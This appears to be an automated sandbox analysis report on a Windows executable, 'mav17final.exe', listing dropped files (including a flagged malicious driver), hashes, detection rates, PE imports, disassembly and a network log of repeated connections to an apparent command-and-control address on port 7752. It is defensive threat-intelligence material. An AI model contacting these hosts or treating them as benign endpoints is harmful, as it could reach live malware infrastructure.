SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zehfj24n.npl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dialer.exe

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5290264
Entropy (8bit):	6.532307554125056
Encrypted:	false
SSDEEP:	98304:CoTBOZ1ed7R/gyE5hIblWsTvMq/tjafGriRNUP8lw:CoTBOvayyE3IblWKPljafGDaw
MD5:	0BCBEA7313655A42ECC0A1FDBCF37993
SHA1:	4262E7F1A051C50C0145CE932EC261E6B93F387E
SHA-256:	B63F00D14E4EDC4A5B63E48D3836DA41D3567BBEACB84322B054DD5B2A25A600
SHA-512:	11D99F7E31E65A3A0E2C63AAA9F0476EF3835BBBB96181043A642AC11503E7DA3DED331E5FD0F5D4A66951F674C14B6693434DE337B35ED77AFE0E21D49B3B7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 65%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Gf.........."...........O.....@..........@..............................Q...........`.....................................................<.............P.......P..)....Q.h...............................(.......8............................................text...f........................... ..`.rdata..\|B.......D..................@..@.data.....O.......O.................@....pdata........P.......P.............@..@.00cfg........P.......P.............@..@.tls..........P.......P.............@....reloc..h.....Q.......P.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r3vkitn7

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulvX/Z:NllUvX
MD5:	E55E6E0E1AB6A345A7BCC5FD9C39F70C
SHA1:	E5344BE0ED383244752DD96C35183014062EB114
SHA-256:	9635856D4CAE632D612BDD5736CEA8F6B6AEEBD6FE3AEB04A842FBDB386BCC91
SHA-512:	74908F7F2D21452483A47A25A5728B9211215C6DB2591E94806E477B6B870C92BCE7E11D64A6E9B4AB225927869AD5440ED2995CCA42FD6C8612B027F994A2A5
Malicious:	false
Preview:	@...e................................................@..........

C:\Windows\Temp\__PSScriptPolicyTest_fmmoe5wr.s0x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nngzqssd.l31.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_q3kzzrsb.vce.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_upgz5sqy.leu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\ujjtjyeszdwn.sys

Download File

Process:	C:\ProgramData\dialer.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.974540085861685
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	mav17final.exe
File size:	13'827'522 bytes
MD5:	9e77a1c36b7ee264c38b958963769c08
SHA1:	eb7ad58040a6dbf826a37d52c26f7ce8ef963342
SHA256:	f1836d3e4c6916cdc1f873b430d0a2784885e587683f6917fd51c04eba18933c
SHA512:	cb4867e6d1eac352c59285e5b51128a54347e0780826b9c8221e516d650aa815d518591c8d4594a09b0ef331da29a9b49c0cab47987d035abda32f599be06cff
SSDEEP:	196608:XiwmU0yb8PHvOzg5dpsYjAu3toeQXs5S+9HIG3/htx4FMIZETSvjPePdrQJ/B2nw:ywuky7h/QXs4+9H7/DxQETSvvJsWp1
TLSH:	09D6338AE1B149D9D8538138E0D7D814EA72A877173CA2CB07F8645A1F93DA5B43FF60
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........f.................................................................................!...n.......n.......Rich...................

File Icon


Icon Hash:	4a464cd47461e179

Static PE Info

General

Entrypoint:	0x14000c120
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6647B2D2 [Fri May 17 19:41:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	8cab86c0c05962691d7150b4577bcb22

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F66707FC5FCh
dec eax
add esp, 28h
jmp 00007F66707FC20Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F66707FCB6Ch
test eax, eax
je 00007F66707FC3B3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F66707FC397h
dec eax
cmp ecx, eax
je 00007F66707FC3A6h
xor eax, eax
dec eax
cmpxchg dword ptr [0002F2ECh], ecx
jne 00007F66707FC380h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F66707FC389h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [0002F2D7h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [0002F2C7h], al
call 00007F66707FC973h
call 00007F66707FD8A6h
test al, al
jne 00007F66707FC396h
xor al, al
jmp 00007F66707FC3A6h
call 00007F66708065A1h
test al, al
jne 00007F66707FC39Bh
xor ecx, ecx
call 00007F66707FD8B6h
jmp 00007F66707FC37Ch
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0002F28Ch], 00000000h
mov ebx, ecx
jne 00007F66707FC3F9h
cmp ecx, 01h
jnbe 00007F66707FC3FCh
call 00007F66707FCAD2h
test eax, eax
je 00007F66707FC3BAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x37698	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40000	0xf41c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3d000	0x1f8c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x50000	0x744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x35240	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35260	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x26000	0x3f0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x24a50	0x24c00	190401f1858eb6aaed68cca57ff70033	False	0.5661405187074829	data	6.455391595300264	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x26000	0x12436	0x12600	abc6ef004a61808e8c901134e626778d	False	0.5113732993197279	data	5.80002704943681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x39000	0x32d8	0xe00	dac4e1626398bdbc8a43bbcc545bcd82	False	0.12081473214285714	Matlab v4 mat-file (little endian) f\324\377\3772\242\337-\231+, text, rows 4294967295, columns 0	1.6410831953198595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x3d000	0x1f8c	0x2000	c6a690e6bf8e4d77e321ba617d08976c	False	0.4898681640625	data	5.373634709528991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x3f000	0xf4	0x200	b24eb920d09e236e1ccadd6d5fcfc5e5	False	0.30078125	data	1.9987359274801832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x40000	0xf41c	0xf600	487cbb22a6e528b8aebe8a492c305f70	False	0.8030360772357723	data	7.554916050251791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x50000	0x744	0x800	72cbe79325b6c2b3fedfaab9b7d68de5	False	0.54736328125	data	5.2312775503476825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x40208	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.585820895522388
RT_ICON	0x410b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7360108303249098
RT_ICON	0x41958	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.755057803468208
RT_ICON	0x41ec0	0x952c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9975384937676757
RT_ICON	0x4b3ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3887966804979253
RT_ICON	0x4d994	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.49530956848030017
RT_ICON	0x4ea3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7207446808510638
RT_GROUP_ICON	0x4eea4	0x68	data	0.7019230769230769
RT_MANIFEST	0x4ef0c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, InitializeSListHead, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, RaiseException, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 06:46:08.590037107 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:08.595204115 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:08.595328093 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:08.595719099 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:08.645519018 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:09.244663000 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:09.245604992 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:09.250715017 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:09.437483072 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:09.486382961 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:09.745457888 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:09.745543957 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:09.745675087 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:09.757550955 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:09.757621050 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.255955935 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.258919954 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.258975983 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.261204004 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.261296988 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.263529062 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.263628960 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.265213966 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.265233994 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.314538002 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.664393902 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.664561987 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.664635897 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.716418982 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.716474056 CEST	443	49705	188.114.96.3	192.168.2.5
May 22, 2024 06:46:10.716509104 CEST	49705	443	192.168.2.5	188.114.96.3
May 22, 2024 06:46:10.730782986 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:10.731177092 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:10.736495018 CEST	7752	49704	77.105.166.179	192.168.2.5
May 22, 2024 06:46:10.736669064 CEST	49704	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:10.741303921 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:10.742410898 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:13.178421021 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:13.183476925 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:13.371711969 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:13.372385025 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:13.377379894 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:13.563364029 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:13.767620087 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:15.206082106 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:15.242331028 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:15.421334028 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:15.564518929 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:15.943572044 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:16.158245087 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:17.221417904 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:17.226587057 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:17.410985947 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:17.564492941 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:19.291804075 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:19.300403118 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:19.484662056 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:19.564491987 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:21.314704895 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:21.319780111 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:21.504154921 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:21.564635038 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:23.330975056 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:23.336165905 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:23.523709059 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:23.564491034 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:25.348783970 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:25.353871107 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:25.537964106 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:25.580113888 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:26.978343964 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:27.033222914 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:28.414635897 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:28.419594049 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:28.607270956 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:28.658310890 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:30.523916006 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:30.529098988 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:30.714227915 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:30.798930883 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:32.548974991 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:32.554053068 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:32.739851952 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:32.798840046 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:34.564573050 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:34.569679976 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:34.753554106 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:34.798846006 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:36.582837105 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:36.587814093 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:36.771866083 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:36.814448118 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:38.611733913 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:38.617063999 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:38.800810099 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:38.845789909 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:40.627034903 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:40.632266045 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:40.816015005 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:40.861313105 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:42.917001963 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:42.922272921 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:43.108947992 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:43.220705032 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:44.965651989 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:44.970714092 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:45.154934883 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:45.220719099 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:48.678822041 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:48.683954954 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:48.868268967 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:48.943016052 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:50.712969065 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:50.718393087 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:50.902920961 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:51.017584085 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:52.736712933 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:52.741915941 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:52.928471088 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:53.033210993 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:54.797271013 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:54.802378893 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:54.986341953 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:55.033175945 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:56.815057993 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:56.822132111 CEST	7752	49706	77.105.166.179	192.168.2.5
